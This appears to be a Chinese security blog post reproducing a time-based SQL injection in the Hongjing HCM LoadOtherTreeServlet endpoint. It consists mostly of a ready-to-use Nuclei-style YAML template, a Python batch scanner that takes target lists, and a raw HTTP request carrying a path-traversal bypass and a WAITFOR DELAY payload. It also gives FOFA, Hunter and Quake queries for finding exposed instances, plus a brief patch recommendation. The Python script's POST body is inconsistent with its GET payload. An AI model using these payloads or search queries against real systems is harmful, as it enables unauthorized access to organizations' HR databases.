POC(Yaml&Python)
话不多说先上POC(Yam-poc由yakit或ProjectDiscovery Cloud Platform生成,Python-poc脚本由chatgpt生成,准确性请自测,如您觉得有用,请动动小手点个关注,为您每天更新最新漏洞POC)
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「Yaml」
id: hongjing-hcm-LoadOtherTreeServlet-sqli
info:
name: 宏景HCM-LoadOtherTreeServlet-sql注入漏洞
author: god
severity: high
description: 宏景HCM-LoadOtherTreeServlet-sql注入漏洞
metadata:
fofa-query: app="HJSOFT-HCM"
tags: hongjing,hcm,sqli
http:
- raw:
- |+
@timeout: 30s
GET /w_selfservice/oauthservlet/%2e./.%2e/gz/LoadOtherTreeServlet?modelflag=4&budget_id=1%29%3BWAITFOR+DELAY+%270%3A0%3A4%27--&flag=1 HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
max-redirects: 3
matchers-condition: and
matchers:
- type: dsl
dsl:
- 'duration>=4 && duration<6'
condition: and
-
「Python」
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Author : 浅梦安全
import requests
import argparse
import time
from urllib3.exceptions import InsecureRequestWarning
RED = '�33[91m'
RESET = '�33[0m'
# 忽略不安全请求的警告
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
def check_vulnerability(url):
try:
# 构造完整的攻击URL
attack_url = url.rstrip('/') + "/w_selfservice/oauthservlet/%2e./.%2e/gz/LoadOtherTreeServlet?modelflag=4&budget_id=1%29%3BWAITFOR+DELAY+%270%3A0%3A4%27--&flag=1"
attack_payload = """usertable=h00&usernumber=1&i9999=-1';WAITFOR+DELAY+'0:0:6'--+"""
headers = {
'Content-Type': 'application/x-www-form-urlencoded'
}
start_time = time.time()
response = requests.post(attack_url, headers=headers, data=attack_payload, verify=False, timeout=10)
elapsed_time = time.time() - start_time
if 4 < elapsed_time < 6:
print(f"{RED}URL [{url}] 可能存在宏景HCM-LoadOtherTreeServlet-sql注入漏洞{RESET}")
else:
print(f"URL [{url}] 不存在漏洞")
except requests.exceptions.Timeout:
print(f"URL [{url}] 请求超时,可能存在漏洞")
except requests.RequestException as e:
print(f"URL [{url}] 请求失败: {e}")
def main():
parser = argparse.ArgumentParser(description='检测目标地址是否宏景HCM-LoadOtherTreeServlet-sql注入漏洞')
parser.add_argument('-u', '--url', help='指定目标地址')
parser.add_argument('-f', '--file', help='指定包含目标地址的文本文件')
args = parser.parse_args()
if args.url:
if not args.url.startswith("http://") and not args.url.startswith("https://"):
args.url = "http://" + args.url
check_vulnerability(args.url)
elif args.file:
with open(args.file, 'r') as file:
urls = file.read().splitlines()
for url in urls:
if not url.startswith("http://") and not url.startswith("https://"):
url = "http://" + url
check_vulnerability(url)
if __name__ == '__main__':
main()
漏洞介绍
❝
宏景HCM人力资源信息管理系统是一款全面覆盖人力资源管理各模块的软件,旨在帮助企事业单位构建高绩效组织,推动组织健康成长,提升组织软实力。其
LoadOtherTreeServlet
接口处对传入的数据没有预编译和充足的校验,导致该接口存在SQL注入漏洞,未授权的攻击者可获取数据库敏感信息。❞
资产测绘
-
「Fofa」
❝
app="HJSOFT-HCM"
❞
-
「Hunter」
❝
app.name="宏景 HCM"
❞
-
「Quake」
❝
app: "宏景-HCM"
❞
漏洞复现
「1、构造数据包」
GET /w_selfservice/oauthservlet/%2e./.%2e/gz/LoadOtherTreeServlet?modelflag=4&budget_id=1%29%3BWAITFOR+DELAY+%270%3A0%3A4%27--&flag=1 HTTP/1.1
Host: ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
「2、查看返回包响应时间」
修复方案
❝
官方已发布安全补丁,建议联系厂商打补丁或升级版本。 引入Web应用防火墙防护,配置接口拦截策略。 ❞
原文始发于微信公众号(浅梦安全):【漏洞复现|含POC】宏景HCM-LoadOtherTreeServlet SQL注入
- 左青龙
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